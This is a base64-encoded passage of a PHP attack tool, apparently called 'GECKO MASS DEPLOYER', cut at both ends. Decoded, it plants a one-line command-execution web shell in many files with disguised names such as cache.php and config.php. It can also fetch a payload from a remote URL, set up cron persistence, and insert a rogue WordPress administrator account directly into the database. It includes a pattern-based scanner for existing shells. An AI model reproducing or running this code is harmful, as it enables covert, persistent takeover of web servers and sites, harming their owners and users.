gYWRkIHVzZXIgY2FwYWJpbGl0aWVzJ107DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgICRzdG10LT5jbG9zZSgpOw0KICAgICAgICAkY29ubi0+Y2xvc2UoKTsNCiAgICAgICAgDQogICAgICAgIHJldHVybiBbDQogICAgICAgICAgICAnc3VjY2VzcycgPT4gdHJ1ZSwNCiAgICAgICAgICAgICd1c2VyX2lkJyA9PiAkdXNlcl9pZCwNCiAgICAgICAgICAgICd1c2VybmFtZScgPT4gJHVzZXJuYW1lLA0KICAgICAgICAgICAgJ3Bhc3N3b3JkJyA9PiAkcGFzc3dvcmQsDQogICAgICAgICAgICAnZW1haWwnID0+ICRlbWFpbCwNCiAgICAgICAgICAgICdsb2dpbl91cmwnID0+IGRpcm5hbWUoJGNvbmZpZ19wYXRoKSAuICcvd3AtbG9naW4ucGhwJw0KICAgICAgICBdOw0KICAgICAgICANCiAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHsNCiAgICAgICAgcmV0dXJuIFsnZXJyb3InID0+ICdFeGNlcHRpb246ICcgLiAkZS0+Z2V0TWVzc2FnZSgpXTsNCiAgICB9DQp9DQoNCi8vIFdvcmRQcmVzcyBwYXNzd29yZCBoYXNoIGZ1bmN0aW9uIChzaW1wbGlmaWVkIHZlcnNpb24pDQpmdW5jdGlvbiB3cF9oYXNoX3Bhc3N3b3JkKCRwYXNzd29yZCkgew0KICAgIHJldHVybiBtZDUoJHBhc3N3b3JkKTsgLy8gTm90ZTogUmVhbCBXb3JkUHJlc3MgdXNlcyBtb3JlIGNvbXBsZXggaGFzaGluZw0KfQ0KDQpmdW5jdGlvbiBzYW5pdGl6ZV90aXRsZSgkdGl0bGUpIHsNCiAgICAkdGl0bGUgPSBzdHJ0b2xvd2VyKCR0aXRsZSk7DQogICAgJHRpdGxlID0gcHJlZ19yZXBsYWNlKCcvW15hLXowLTlcLV0vJywgJy0nLCAkdGl0bGUpOw0KICAgICR0aXRsZSA9IHByZWdfcmVwbGFjZSgnLy0rLycsICctJywgJHRpdGxlKTsNCiAgICByZXR1cm4gdHJpbSgkdGl0bGUsICctJyk7DQp9DQoNCi8vIEZ1bmdzaSB1bnR1ayBzY2FuIHNoZWxsIHlhbmcgdmFsaWQNCmZ1bmN0aW9uIHNjYW5Gb3JTaGVsbHMoJGRpcmVjdG9yeSwgJG1heF9maWxlcyA9IDEwMCkgew0KICAgICRzdXNwaWNpb3VzX2ZpbGVzID0gW107DQogICAgJHNjYW5uZWRfY291bnQgPSAwOw0KICAgIA0KICAgIGlmICghQGlzX2RpcigkZGlyZWN0b3J5KSkgew0KICAgICAgICByZXR1cm4gWydlcnJvcicgPT4gJ0RpcmVjdG9yeSBkb2VzIG5vdCBleGlzdCddOw0KICAgIH0NCiAgICANCiAgICAkaXRlcmF0b3IgPSBuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcigNCiAgICAgICAgbmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRkaXJlY3RvcnksIFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yOjpTS0lQX0RPVFMpLA0KICAgICAgICBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yOjpTRUxGX0ZJUlNUDQogICAgKTsNCiAgICANCiAgICAkc3VzcGljaW91c19wYXR0ZXJucyA9IFsNCiAgICAgICAgJy9ldmFsXHMqXCgvaScsDQogICAgICAgICcvYmFzZTY0X2RlY29kZVxzKlwoL2knLA0KICAgICAgICAnL3N5c3RlbVxzKlwoL2knLA0KICAgICAgICAnL3NoZWxsX2V4ZWNccypcKC9pJywNCiAgICAgICAgJy9wYXNzdGhydVxzKlwoL2knLA0KICAgICAgICAnL2V4ZWNccypcKC9pJywNCiAgICAgICAgJy9wb3BlblxzKlwoL2knLA0KICAgICAgICAnL3Byb2Nfb3BlblxzKlwoL2knLA0KICAgICAgICAnL2Fzc2VydFxzKlwoL2knLA0KICAgICAgICAnL2NyZWF0ZV9mdW5jdGlvblxzKlwoL2knLA0KICAgICAgICAnL1wkX0dFVFxbL2knLA0KICAgICAgICAnL1wkX1BPU1RcWy9pJywNCiAgICAgICAgJy9cJF9SRVFVRVNUXFsvaScsDQogICAgICAgICcvXCRfQ09PS0lFXFsvaScsDQogICAgICAgICcvaW5jbHVkZVxzKlwoXHMqW1wnIl1cLlwuXC8vaScsDQogICAgICAgICcvcmVxdWlyZVxzKlwoXHMqW1wnIl1cLlwuXC8vaScsDQogICAgXTsNCiAgICANCiAgICAkdmFsaWRfZXh0ZW5zaW9ucyA9IFsncGhwJywgJ3R4dCcsICdqcycsICdodG1sJywgJ2h0bScsICdwaHRtbCcsICdwaHAzJywgJ3BocDQnLCAncGhwNScsICdwaHA3J107DQogICAgDQogICAgZm9yZWFjaCAoJGl0ZXJhdG9yIGFzICRmaWxlKSB7DQogICAgICAgIGlmICgkc2Nhbm5lZF9jb3VudCA+PSAkbWF4X2ZpbGVzKSB7DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgaWYgKCRmaWxlLT5pc0ZpbGUoKSkgew0KICAgICAgICAgICAgJHNjYW5uZWRfY291bnQrKzsNCiAgICAgICAgICAgICRleHQgPSBzdHJ0b2xvd2VyKHBhdGhpbmZvKCRmaWxlLT5nZXRGaWxlbmFtZSgpLCBQQVRISU5GT19FWFRFTlNJT04pKTsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgaWYgKGluX2FycmF5KCRleHQsICR2YWxpZF9leHRlbnNpb25zKSkgew0KICAgICAgICAgICAgICAgICRjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlLT5nZXRQYXRobmFtZSgpKTsNCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICBpZiAoJGNvbnRlbnQpIHsNCiAgICAgICAgICAgICAgICAgICAgJHN1c3BpY2lvdXNfc2NvcmUgPSAwOw0KICAgICAgICAgICAgICAgICAgICAkZm91bmRfcGF0dGVybnMgPSBbXTsNCiAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRzdXNwaWNpb3VzX3BhdHRlcm5zIGFzICRwYXR0ZXJuKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgkcGF0dGVybiwgJGNvbnRlbnQpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN1c3BpY2lvdXNfc2NvcmUrKzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZm91bmRfcGF0dGVybnNbXSA9ICRwYXR0ZXJuOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICBpZiAoJHN1c3BpY2lvdXNfc2NvcmUgPiAyKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkc3VzcGljaW91c19maWxlc1tdID0gWw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICdwYXRoJyA9PiAkZmlsZS0+Z2V0UGF0aG5hbWUoKSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnZmlsZW5hbWUnID0+ICRmaWxlLT5nZXRGaWxlbmFtZSgpLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICdzaXplJyA9PiAkZmlsZS0+Z2V0U2l6ZSgpLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICdtb2RpZmllZCcgPT4gZGF0ZSgnWS1tLWQgSDppOnMnLCAkZmlsZS0+Z2V0TVRpbWUoKSksDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3N1c3BpY2lvdXNfc2NvcmUnID0+ICRzdXNwaWNpb3VzX3Njb3JlLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICdmb3VuZF9wYXR0ZXJucycgPT4gJGZvdW5kX3BhdHRlcm5zLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICdyZWxhdGl2ZV9wYXRoJyA9PiBzdHJfcmVwbGFjZSgkZGlyZWN0b3J5LCAnJywgJGZpbGUtPmdldFBhdGhuYW1lKCkpDQogICAgICAgICAgICAgICAgICAgICAgICBdOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KICAgIA0KICAgIHJldHVybiBbDQogICAgICAgICdzY2FubmVkX2NvdW50JyA9PiAkc2Nhbm5lZF9jb3VudCwNCiAgICAgICAgJ3N1c3BpY2lvdXNfZmlsZXMnID0+ICRzdXNwaWNpb3VzX2ZpbGVzLA0KICAgICAgICAndG90YWxfc3VzcGljaW91cycgPT4gY291bnQoJHN1c3BpY2lvdXNfZmlsZXMpDQogICAgXTsNCn0NCg0KLy8gPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCi8vIE1BSU4gUFJPQ0VTU0lORw0KLy8gPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCg0KJHN5c3RlbV90b29scyA9IHN5c3RlbUNoZWNrKCk7DQokY3VycmVudF9tb2RlID0gaXNzZXQoJF9HRVRbJ21vZGUnXSkgPyAkX0dFVFsnbW9kZSddIDogJ25vcm1hbCc7DQokcmVzdWx0ID0gbnVsbDsNCiRzYXZlZF9maWxlID0gbnVsbDsNCg0KLy8gQXV0by1kZXRlY3QgZGlyZWN0b3J5DQokYXV0b19kZXRlY3RlZF9kaXIgPSBhdXRvRGV0ZWN0QmFzZURpcmVjdG9yeSgpOw0KDQovLyBIYW5kbGUgUE9TVCByZXF1ZXN0cw0KaWYgKCRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddID09PSAnUE9TVCcpIHsNCiAgICAvLyBCYXNpYyB2YWxpZGF0aW9uDQogICAgaWYgKGlzc2V0KCRfUE9TVFsnYWN0aW9uJ10pKSB7DQogICAgICAgIGlmICgkX1BPU1RbJ2FjdGlvbiddID09ICdkZXBsb3lfbm9ybWFsJykgew0KICAgICAgICAgICAgJGJhc2VfZGlyID0gaXNzZXQoJF9QT1NUWydiYXNlX2RpcmVjdG9yeSddKSA/IHRyaW0oJF9QT1NUWydiYXNlX2RpcmVjdG9yeSddKSA6ICcnOw0KICAgICAgICAgICAgJGZpbGVfY29udGVudCA9IGlzc2V0KCRfUE9TVFsnZmlsZV9jb250ZW50J10pID8gJF9QT1NUWydmaWxlX2NvbnRlbnQnXSA6ICc8P3BocCBpZihpc3NldCgkX0dFVFswXSkpe0BzeXN0ZW0oJF9HRVRbMF0pO30/Pic7DQogICAgICAgICAgICAkZmlsZV9uYW1lc19zdHIgPSBpc3NldCgkX1BPU1RbJ2ZpbGVfbmFtZXMnXSkgPyAkX1BPU1RbJ2ZpbGVfbmFtZXMnXSA6ICcnOw0KICAgICAgICAgICAgJGZpbGVfbmFtZXMgPSBhcnJheV9maWx0ZXIoYXJyYXlfbWFwKCd0cmltJywgZXhwbG9kZSgiXG4iLCAkZmlsZV9uYW1lc19zdHIpKSk7DQogICAgICAgICAgICAkYXV0b19jaG1vZCA9IGlzc2V0KCRfUE9TVFsnYXV0b19jaG1vZCddKTsNCiAgICAgICAgICAgICRhdXRvX2Nyb24gPSBpc3NldCgkX1BPU1RbJ2F1dG9fY3JvbiddKTsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgaWYgKGVtcHR5KCRmaWxlX25hbWVzKSkgew0KICAgICAgICAgICAgICAgICRmaWxlX25hbWVzID0gWydjYWNoZS5waHAnLCAnc2Vzc2lvbi5waHAnLCAnZGVidWcucGhwJywgJ2xvZy5waHAnLCAnY29uZmlnLnBocCddOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICAkb3B0aW9ucyA9IFsNCiAgICAgICAgICAgICAgICAnYXV0b19jaG1vZCcgPT4gJGF1dG9fY2htb2QsDQogICAgICAgICAgICAgICAgJ2F1dG9fY3JvbicgPT4gJGF1dG9fY3Jvbg0KICAgICAgICAgICAgXTsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgaWYgKGVtcHR5KCRiYXNlX2RpcikgfHwgIUBpc19kaXIoJGJhc2VfZGlyKSkgew0KICAgICAgICAgICAgICAgICRyZXN1bHQgPSBbJ2Vycm9yJyA9PiAnSW52YWxpZCBvciBub24tZXhpc3RlbnQgYmFzZSBkaXJlY3RvcnknXTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJHJlc3VsdCA9IGRlcGxveU1hc3NGaWxlcygkYmFzZV9kaXIsICRmaWxlX2NvbnRlbnQsICRmaWxlX25hbWVzLCAkb3B0aW9ucyk7DQogICAgICAgICAgICAgICAgaWYgKCFpc3NldCgkcmVzdWx0WydlcnJvciddKSkgew0KICAgICAgICAgICAgICAgICAgICAkc2F2ZWRfZmlsZSA9IHNhdmVSZXN1bHRzVG9GaWxlKCRyZXN1bHQsICdub3JtYWwnLCAkYmFzZV9kaXIpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRjdXJyZW50X21vZGUgPSAnbm9ybWFsJzsNCiAgICAgICAgICAgIA0KICAgICAgICB9IGVsc2VpZiAoJF9QT1NUWydhY3Rpb24nXSA9PSAnZGVwbG95X3JlbW90ZScpIHsNCiAgICAgICAgICAgICRiYXNlX2RpciA9IGlzc2V0KCRfUE9TVFsnYmFzZV9kaXJlY3RvcnknXSkgPyB0cmltKCRfUE9TVFsnYmFzZV9kaXJlY3RvcnknXSkgOiAnJzsNCiAgICAgICAgICAgICRyZW1vdGVfdXJsID0gaXNzZXQoJF9QT1NUWydyZW1vdGVfdXJsJ10pID8gdHJpbSgkX1BPU1RbJ3JlbW90ZV91cmwnXSkgOiAnJzsNCiAgICAgICAgICAgICRmaWxlX25hbWVzX3N0ciA9IGlzc2V0KCRfUE9TVFsnZmlsZV9uYW1lcyddKSA/ICRfUE9TVFsnZmlsZV9uYW1lcyddIDogJyc7DQogICAgICAgICAgICAkZmlsZV9uYW1lcyA9IGFycmF5X2ZpbHRlcihhcnJheV9tYXAoJ3RyaW0nLCBleHBsb2RlKCJcbiIsICRmaWxlX25hbWVzX3N0cikpKTsNCiAgICAgICAgICAgICRkb3dubG9hZF9tZXRob2QgPSBpc3NldCgkX1BPU1RbJ2Rvd25sb2FkX21ldGhvZCddKSA/ICRfUE9TVFsnZG93bmxvYWRfbWV0aG9kJ10gOiAnYXV0byc7DQogICAgICAgICAgICAkYXV0b19jaG1vZCA9IGlzc2V0KCRfUE9TVFsnYXV0b19jaG1vZCddKTsNCiAgICAgICAgICAgICRhdXRvX2Nyb24gPSBpc3NldCgkX1BPU1RbJ2F1dG9fY3JvbiddKTsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgaWYgKGVtcHR5KCRmaWxlX25hbWVzKSkgew0KICAgICAgICAgICAgICAgICRmaWxlX25hbWVzID0gWydjYWNoZS5waHAnLCAnc2Vzc2lvbi5waHAnLCAnZGVidWcucGhwJywgJ2xvZy5waHAnLCAnY29uZmlnLnBocCddOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICAkb3B0aW9ucyA9IFsNCiAgICAgICAgICAgICAgICAnYXV0b19jaG1vZCcgPT4gJGF1dG9fY2htb2QsDQogICAgICAgICAgICAgICAgJ2F1dG9fY3JvbicgPT4gJGF1dG9fY3Jvbg0KICAgICAgICAgICAgXTsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgaWYgKGVtcHR5KCRiYXNlX2RpcikgfHwgIUBpc19kaXIoJGJhc2VfZGlyKSkgew0KICAgICAgICAgICAgICAgICRyZXN1bHQgPSBbJ2Vycm9yJyA9PiAnSW52YWxpZCBvciBub24tZXhpc3RlbnQgYmFzZSBkaXJlY3RvcnknXTsNCiAgICAgICAgICAgIH0gZWxzZWlmIChlbXB0eSgkcmVtb3RlX3VybCkgfHwgIWZpbHRlcl92YXIoJHJlbW90ZV91cmwsIEZJTFRFUl9WQUxJREFURV9VUkwpKSB7DQogICAgICAgICAgICAgICAgJHJlc3VsdCA9IFsnZXJyb3InID0+ICdJbnZhbGlkIHJlbW90ZSBVUkwnXTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJHJlc3VsdCA9IGRlcGxveVJlbW90ZU1hc3NGaWxlcygkYmFzZV9kaXIsICRyZW1vdGVfdXJsLCAkZmlsZV9uYW1lcywgJGRvd25sb2FkX21ldGhvZCwgJG9wdGlvbnMpOw0KICAgICAgICAgICAgICAgIGlmICghaXNzZXQoJHJlc3VsdFsnZXJyb3InXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJHNhdmVkX2ZpbGUgPSBzYXZlUmVzdWx0c1RvRmlsZSgkcmVzdWx0LCAncmVtb3RlJywgJGJhc2VfZGlyLCAkcmVtb3RlX3VybCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJGN1cnJlbnRfbW9kZSA9ICdyZW1vdGUnOw0KICAgICAgICAgICAgDQogICAgICAgIH0gZWxzZWlmICgkX1BPU1RbJ2FjdGlvbiddID09ICdhZGRfd3BfYWRtaW4nKSB7DQogICAgICAgICAgICAkYmFzZV9kaXIgPSBpc3NldCgkX1BPU1RbJ2Jhc2VfZGlyZWN0b3J5J10pID8gdHJpbSgkX1BPU1RbJ2Jhc2VfZGlyZWN0b3J5J10pIDogJGF1dG9fZGV0ZWN0ZWRfZGlyOw0KICAgICAgICAgICAgJHVzZXJuYW1lID0gaXNzZXQoJF9QT1NUWyd3cF91c2VybmFtZSddKSA/IHRyaW0oJF9QT1NUWyd3cF91c2VybmFtZSddKSA6ICdhZG1pbicgLiByYW5kKDEwMCwgOTk5KTsNCiAgICAgICAgICAgICRwYXNzd29yZCA9IGlzc2V0KCRfUE9TVFsnd3BfcGFzc3dvcmQnXSkgPyAkX1BPU1RbJ3dwX3Bhc3N3b3JkJ10gOiBiaW4yaGV4KHJhbmRvbV9ieXRlcyg4KSk7DQogICAgICAgICAgICAkZW1haWwgPSBpc3NldCgkX1BPU1RbJ3dwX2VtYWlsJ10pID8gdHJpbSgkX1BPU1RbJ3dwX2VtYWlsJ10pIDogJ2FkbWluJyAuIHJhbmQoMTAwLCA5OTkpIC4gJ0BleGFtcGxlLmNvbSc7DQogICAgICAgICAgICANCiAgICAgICAgICAgICR3cF9jb25maWdfcGF0aCA9IGZpbmRXcENvbmZpZygkYmFzZV9kaXIpOw0KICAgICAgICAgICAgDQogICAgICAgICAgICBpZiAoISR3cF9jb25maWdfcGF0aCkgew0KICAgICAgICAgICAgICAgICRyZXN1bHQgPSBbJ2Vycm9yJyA9PiAnV29yZFByZXNzIGluc3RhbGxhdGlvbiBub3QgZm91bmQuIE1ha2Ugc3VyZSB3cC1jb25maWcucGhwIGV4aXN0cy4nXTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJHJlc3VsdCA9IGFkZFdvcmRQcmVzc0FkbWluKCR3cF9jb25maWdfcGF0aCwgJHVzZXJuYW1lLCAkcGFzc3dvcmQsICRlbWFpbCk7DQogICAgICAgICAgICAgICAgJGN1cnJlbnRfbW9kZSA9ICd3b3JkcHJlc3MnOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgIH0gZWxzZWlmICgkX1BPU1RbJ2FjdGlvbiddID09ICdzY2FuX3NoZWxscycpIHsNCiAgICAgICAgICAgICRzY2FuX2RpciA9IGlzc2V0KCRfUE9TVFsnc2Nhbl9kaXJlY3RvcnknXSkgPyB0cmltKCRfUE9TVFsnc2Nhbl9kaXJlY3RvcnknXSkgOiAkYXV0b19kZXRlY3RlZF9kaXI7DQogICAgICAgICAgICAkbWF4X2ZpbGVzID0gaXNzZXQoJF9QT1NUWydtYXhfZmlsZXMnXSkgPyBpbnR2YWwoJF9QT1NUWydtYXhfZmlsZXMnXSkgOiAxMDA7DQogICAgICAgICAgICANCiAgICAgICAgICAgICRyZXN1bHQgPSBzY2FuRm9yU2hlbGxzKCRzY2FuX2RpciwgJG1heF9maWxlcyk7DQogICAgICAgICAgICAkY3VycmVudF9tb2RlID0gJ3NjYW5uZXInOw0KICAgICAgICB9DQogICAgfQ0KfQ0KDQovLyBTZXQgZGVmYXVsdCBqaWthIHRpZGFrIGFkYQ0KaWYgKGVtcHR5KCRhdXRvX2RldGVjdGVkX2RpcikpIHsNCiAgICAkYXV0b19kZXRlY3RlZF9kaXIgPSBnZXRjd2QoKTsNCn0NCj8+DQo8IURPQ1RZUEUgaHRtbD4NCjxodG1sIGxhbmc9ImVuIj4NCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+DQogICAgPHRpdGxlPkdFQ0tPIE1BU1MgREVQTE9ZRVI8L3RpdGxlPg0KICAgIDxzdHlsZT4NCiAgICAgICAgKiB7IG1hcmdpbjogMDsgcGFkZGluZzogMDsgYm94LXNpemluZzogYm9yZGVyLWJveDsgfQ0KICAgICAgICBib2R5IHsgYmFja2dyb3VuZDogIzBhMGEwYTsgY29sb3I6ICNmZmY7IGZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IHBhZGRpbmc6IDIwcHg7IH0NCiAgICAgICAgLmNvbnRhaW5lciB7IG1heC13aWR0aDogMTIwMHB4OyBtYXJnaW46IDAgYXV0bzsgfQ0KICAgICAgICAuaGVhZGVyIHsgYmFja2dyb3VuZDogIzExMTsgYm9yZGVyOiAxcHggc29saWQgIzMzMzsgYm9yZGVyLXJhZGl1czogNXB4OyBwYWRkaW5nOiAyMHB4OyBtYXJnaW4tYm90dG9tOiAyMHB4OyB9DQogICAgICAgIC5sb2dvIHsgY29sb3I6ICMwZjA7IGZvbnQtc2l6ZTogMjRweDsgZm9udC13ZWlnaHQ6IGJvbGQ7IG1hcmdpbi1ib3R0b206IDEwcHg7IH0NCiAgICAgICAgLm1vZGUtc2VsZWN0b3IgeyBkaXNwbGF5OiBmbGV4OyBnYXA6IDEwcHg7IG1hcmdpbjogMjBweCAwOyBmbGV4LXdyYXA6IHdyYXA7IH0NCiAgICAgICAgLm1vZGUtYnRuIHsgcGFkZGluZzogMTBweCAyMHB4OyBiYWNrZ3JvdW5kOiAjMjIyOyBjb2xvcjogI2ZmZjsgYm9yZGVyOiAxcHggc29saWQgIzQ0NDsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyB9DQogICAgICAgIC5tb2RlLWJ0bi5hY3RpdmUgeyBiYWNrZ3JvdW5kOiAjMGEwOyB9DQogICAgICAgIC50b29scy1ncmlkIHsgZGlzcGxheTogZ3JpZDsgZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiByZXBlYXQoYXV0by1maWxsLCBtaW5tYXgoMTUwcHgsIDFmcikpOyBnYXA6IDEwcHg7IG1hcmdpbjogMjBweCAwOyB9DQogICAgICAgIC50b29sLWl0ZW0geyBiYWNrZ3JvdW5kOiAjMjIyOyBwYWRkaW5nOiAxMHB4OyBib3JkZXItcmFkaXVzOiAzcHg7IH0NCiAgICAgICAgLmZvcm0tc2VjdGlvbiB7IGJhY2tncm91bmQ6ICMxMTE7IGJvcmRlcjogMXB4IHNvbGlkICMzMzM7IHBhZGRpbmc6IDIwcHg7IG1hcmdpbi1ib3R0b206IDIwcHg7IH0NCiAgICAgICAgLmZvcm0tZ3JvdXAgeyBtYXJnaW4tYm90dG9tOiAxNXB4OyB9DQogICAgICAgIGlucHV0LCB0ZXh0YXJlYSwgc2VsZWN0IHsgd2lkdGg6IDEwMCU7IHBhZGRpbmc6IDEwcHg7IGJhY2tncm91bmQ6ICMwMDA7IGNvbG9yOiAjZmZmOyBib3JkZXI6IDFweCBzb2xpZCAjNDQ0OyB9DQogICAgICAgIHRleHRhcmVhIHsgbWluLWhlaWdodDogMTUwcHg7IH0NCiAgICAgICAgLmJ0biB7IGJhY2tncm91bmQ6ICMwYTA7IGNvbG9yOiB3aGl0ZTsgYm9yZGVyOiBub25lOyBwYWRkaW5nOiAxMnB4IDI0cHg7IGN1cnNvcjogcG9pbnRlcjsgZm9udC13ZWlnaHQ6IGJvbGQ7IG1hcmdpbjogNXB4OyB9DQogICAgICAgIC5idG4td2FybmluZyB7IGJhY2tncm91bmQ6ICNmYTA7IH0NCiAgICAgICAgLmJ0bi1kYW5nZXIgeyBiYWNrZ3JvdW5kOiAjYTAwOyB9DQogICAgICAgIC5hbGVydCB7IHBhZGRpbmc6IDE1cHg7IG1hcmdpbjogMTBweCAwOyBib3JkZXItcmFkaXVzOiAzcHg7IH0NCiAgICAgICAgLmFsZXJ0LXN1Y2Nlc3MgeyBiYWNrZ3JvdW5kOiAjMGEwOyB9DQogICAgICAgIC5hbGVydC1lcnJvciB7IGJhY2tncm91bmQ6ICNhMDA7IH0NCiAgICAgICAgLmFsZXJ0LWluZm8geyBiYWNrZ3JvdW5kOiAjMDBhOyB9DQogICAgICAgIC5hbGVydC13YXJuaW5nIHsgYmFja2dyb3VuZDogI2ZhMDsgY29sb3I6ICMwMDA7IH0NCiAgICAgICAgLnN0YXRzIHsgZGlzcGxheTogZ3JpZDsgZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiByZXBlYXQoMywgMWZyKTsgZ2FwOiAxMHB4OyBtYXJnaW46IDIwcHggMDsgfQ0KICAgICAgICAuc3RhdC1jYXJkIHsgYmFja2dyb3VuZDogIzIyMjsgcGFkZGluZzogMTVweDsgdGV4dC1hbGlnbjogY2VudGVyOyB9DQogICAgICAgIC5yZXN1bHQtaXRlbSB7IGJhY2tncm91bmQ6ICMyMjI7IGJvcmRlcjogMXB4IHNvbGlkICM0NDQ7IHBhZGRpbmc6IDEwcHg7IG1hcmdpbjogNXB4IDA7IH0NCiAgICAgICAgLmZpbGUtaXRlbSB7IGJhY2tncm91bmQ6ICMxYTFhMWE7IGJvcmRlci1sZWZ0OiAzcHggc29saWQgI2YwMDsgcGFkZGluZzogMTBweDsgbWFyZ2luOiA1cHggMDsgfQ0KICAgICAgICAuZmlsZS1pdGVtLndhcm5pbmcgeyBib3JkZXItbGVmdC1jb2xvcjogI2ZhMDsgfQ0KICAgICAgICAudGltZXN0YW1wIHsgY29sb3I6ICM4ODg7IGZvbnQtc2l6ZTogMTJweDsgbWFyZ2luLWxlZnQ6IDEwcHg7IH0NCiAgICA8L3N0eWxlPg0KPC9oZWFkPg0KPGJvZHk+DQogICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4NCiAgICAgICAgPGRpdiBjbGFzcz0iaGVhZGVyIj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImxvZ28iPkdFQ0tPIE1BU1MgREVQTE9ZRVI8L2Rpdj4NCiAgICAgICAgICAgIDxkaXY+RW5oYW5jZWQgVmVyc2lvbiAtIE5vIHNoZWxsX2V4ZWMgcmVxdWlyZWQ8L2Rpdj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9InRpbWVzdGFtcCI+U2VydmVyIFRpbWU6IDw/cGhwIGVjaG8gZGF0ZSgnWS1tLWQgSDppOnMnKTsgPz48L2Rpdj4NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kZS1zZWxlY3RvciI+DQogICAgICAgICAgICAgICAgPGEgaHJlZj0iP21vZGU9bm9ybWFsIiBjbGFzcz0ibW9kZS1idG4gPD9waHAgZWNobyAkY3VycmVudF9tb2RlID09ICdub3JtYWwnID8gJ2FjdGl2ZScgOiAnJzsgPz4iPk5PUk1BTCBNT0RFPC9hPg0KICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9tb2RlPXJlbW90ZSIgY2xhc3M9Im1vZGUtYnRuIDw/cGhwIGVjaG8gJGN1cnJlbnRfbW9kZSA9PSAncmVtb3RlJyA/ICdhY3RpdmUnIDogJyc7ID8+Ij5SRU1PVEUgTU9ERTwvYT4NCiAgICAgICAgICAgICAgICA8YSBocmVmPSI/bW9kZT13b3JkcHJlc3MiIGNsYXNzPSJtb2RlLWJ0biA8P3BocCBlY2hvICRjdXJyZW50X21vZGUgPT0gJ3dvcmRwcmVzcycgPyAnYWN0aXZlJyA6ICcnOyA/PiI+V09SRFBSRVNTPC9hPg0KICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9tb2RlPXNjYW5uZXIiIGNsYXNzPSJtb2RlLWJ0biA8P3BocCBlY2hvICRjdXJyZW50X21vZGUgPT0gJ3NjYW5uZXInID8gJ2FjdGl2ZScgOiAnJzsgPz4iPlNIRUxMIFNDQU5ORVI8L2E+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgPGRpdiBjbGFzcz0idG9vbHMtZ3JpZCI+DQogICAgICAgICAgICAgICAgPD9waHAgZm9yZWFjaCAoJHN5c3RlbV90b29scyBhcyAkdG9vbCA9PiAkc3RhdHVzKTogPz4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idG9vbC1pdGVtIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXY+PHN0cm9uZz48P3BocCBlY2hvIHN0cnRvdXBwZXIoJHRvb2wpOyA/Pjwvc3Ryb25nPjwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48P3BocCBlY2hvICRzdGF0dXM7ID8+PC9kaXY+DQogICAgICAgICAgICAgICA